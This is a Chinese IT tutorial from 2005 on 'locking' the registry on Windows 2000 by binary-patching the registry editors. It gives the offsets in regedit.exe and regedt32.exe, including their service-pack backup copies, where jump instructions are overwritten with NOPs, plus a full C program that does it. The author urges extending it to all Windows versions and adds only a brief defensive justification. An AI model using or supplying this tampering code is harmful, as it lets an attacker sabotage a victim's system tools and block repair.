首 页 | 精品电影 | 音乐天堂 | 在线游戏 | Flash MTV | 三湘书屋 | 幽默笑话 | 三湘图库 | 美女写真 | IT知识库 | QQ贴图 | 加入书签

网页制作网络编程图形图象操作系统冲浪宝典软件教学网络安全认证考试通信技术电子商务业内动态书籍教程原码

最近更新 文章分类 多媒体类 精品软件

本站搜索:
您的位置:三湘时空 -> IT知识库 -> 文章分类 -> 注册表教程 -> 注册表终极操作—锁定注册表  
注册表终极操作—锁定注册表


文章类别:注册表教程 来源: 作者: 发表日期:2005-10-4 字体:[ ]

小游戏 | 在线影院 | 幽默笑话 | 源码下载 | Flash MTV | 音乐试听 | 书屋 | 美女写真

  你有没有遇到注册表被锁定,无法打开注册表来手工修复呢?很多人都为这个头疼吧,相信你被锁定一次就知道他的操作原理了:

  修改[HKEY_CURRENadmin\Software\
Microsoft\Windows\Current
Version\Policies\System]下的DisableRegistryTools值为1

  解锁的方法也有几种,比如程序用API函数调用注册表直接删除,做一个REG文件直接导入,写一个脚本…………

  今天我就教大家写个程序来实现另类锁定,是不是很好奇了?跟我来。

  实验环境:windows2000
  实验目的:锁定注册表(本方法利用了Cracker的思路来实现,直接让程序修改程序指令,使调用注册表程序禁止。)
  实现方法:C程序

  首先我们要按照Cracker的思路反汇编WINNT下的regedit.exe和regedt32.exe找到跳转指令,怎么得到这些信息不是我们今天的目的,这里我就不详细介绍了,以下是我反汇编找到的跳转地址:
  1.regedit.exe
偏移地址:0x69CA 将指令:0x74 0x1A 修改成:0x90 0x90

  2.regedt32.exe
偏移地址:0x10bf2 将指令:0x74 0x52 修改成:0x90 0x90

  现在我们用程序把这2个偏移地址的指令给修改成0x90 0x90 ( 0x90代表nop,就是让程序什么也不做,执行下一条指令)让我们看看程序是如何实现的吧。

#include
#include
bool scanreg(const char *file,long offset, int length,char *the); /*函数说明*/

main()
{
char the[]={ 0x90,0x90 };
scanreg("C:\\WINNT\\regedit.exe",0x69CA,0x02,the); /*调用函数修改winnt下的regedit.exe 其中的0x02是修改长度*/
scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedit.exe",0x69CA,0x02,the); /*调用函数改变补丁下regedit.exe*/
scanreg("C:\\WINNT\\system32\\regedt32.exe",0x10bf2,0x02,the); /*调用函数修改system32下的regedt32.exe */
scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedt32.exe",0x10bf2,0x02,the); /*调用函数改变补丁下regedt32.exe*/
}
bool scanreg(const char *file,long offset, int length,char *the)
{
FILE *fp = NULL;
bool result=false;
if((fp=fopen(file,"rb+"))!=NULL) /*打开文件进行读写操作*/
{
fseek(fp,offset,1); /*把指针指向我们定义的偏移地址*/
fwrite(the,length,1,fp); /*修改程序,把指令替换成0x90*/
fclose(fp); /*关闭文件*/
result=true;
}
return(result);
}

  好了,我这里只是一个示范,只适合2000系统,把windows每种系统的注册表调用程序都分析一下,然后在程序开始用API函数GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判断系统,根据判断的系统来调用相应的修改函数。那不是通杀windows了?上面把方法公布出来,以便大家做好防范。

上一篇:Graffix让你从容进行DOS截图 下一篇:Photoshop美女照片创意教程
本栏目热门文章
·让WINDOWS XP自动登陆 2005-10-4
·调整“帝国时代”游戏的速度 2005-10-4
·调整WINXP启动时Chkdsk的等待时间 2005-10-4
·超频Trident Imagine 9750系列显卡 2005-10-4
·不为人熟知 Windows XP系统最新操作技巧 2006-5-18
·查看安装时输入的WIN98密码 2005-10-4
·恢复使用注册表编辑文件regedit.exe 2005-10-4
·查找NetSpy黑客程序 2005-10-4
·更改Internet Explorer的图标 2005-10-4
·给IE加油,IE修改全攻略 2005-10-8
新近更新文章
·不为人熟知 Windows XP系统最新操作技巧 2006-5-18
·用注册表为操作系统砌九堵安全“墙” 2005-12-27
·通过注册表优化ADSL大法之Win XP篇 2005-11-16
·Windows XP中让“控制面板”更加清爽 2005-11-7
·定制新版注册表编辑器的“收藏”功能 2005-11-7
·给IE加油,IE修改全攻略 2005-10-8
·Windows系统维护必备 六招注册表技巧 2005-10-4
·巧改注册表 实现Windows XP自动登录 2005-10-4
·找了你好久:收藏夹内网站按字母排序 2005-10-4
·删除注册表垃圾后XP出现错误的解决方法 2005-10-4
首 页 | 软件发布 | 广告联系 | 下载帮助 | 意见反馈 | 网站地图
  CopyRight? 2002-2004 WWW.SXSKY.NET? All Rights Reserved
三湘时空 站长QQ:82675303 Email: